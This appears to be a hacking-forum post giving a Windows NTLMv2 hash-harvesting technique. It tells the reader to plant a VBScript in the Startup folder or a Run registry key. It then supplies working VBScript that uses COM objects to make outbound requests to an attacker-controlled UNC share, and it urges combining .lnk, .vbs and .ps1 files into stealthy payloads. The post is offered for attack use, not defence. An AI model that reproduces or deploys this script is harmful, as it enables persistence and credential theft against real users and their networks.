Because you still need to drop a script on the target machine (for example, by tricking a user into running a payload or planting it via social engineering), is not considered 0 click so no CVE.
Once you’ve done that, however, it runs entirely in the background and harvests NTLMv2 hashes without any further prompts.
Why It Works
Native auto-execution: Leverage login-time paths Windows trusts by default (Startup folder, Run-registry key).
Built-in COM objects: No exotic payloads or deprecated file types needed — just Shell.Application, Scripting.FileSystemObject and MSXML2.XMLHTTP and more COM objects.
Automatic NTLM auth: When your script points at a UNC share, Windows immediately tries to authenticate with NTLMv2.
Attack Flow
1. Plant your script
Copy your .vbs (or .ps1) into the user’s Startup folder
Or add a HKCU\…\Run registry entry
2. Instantiate COM components
Код:
Set sh = CreateObject("Shell.Application")
Set fso = CreateObject("Scripting.FileSystemObject")
Set http = CreateObject("MSXML2.XMLHTTP")
<job>
<script language="VBScript">
On Error Resume Next
attacker = "\\xxxxxxx\leak"
Set sh = CreateObject("Shell.Application")
sh.NameSpace attacker
Set fso = CreateObject("Scripting.FileSystemObject")
fso.OpenTextFile attacker & "\trigger.txt", 1
Set http = CreateObject("MSXML2.XMLHTTP")
http.open "GET", attacker & "\test", False
http.send
</script>
</job>
The VBScript code leverages a combination of COM objects — Shell.Application, Scripting.FileSystemObject, and MSXML2.XMLHTTP-to initiate outbound connections that can trigger NTLM authentication attempts. While this example is written in VBScript, similar techniques can be implemented in other languages that support COM automation.
Get creative — mix and match .lnk, .vbs, .ps1 (or any combination of them) to craft a truly stealthy payload.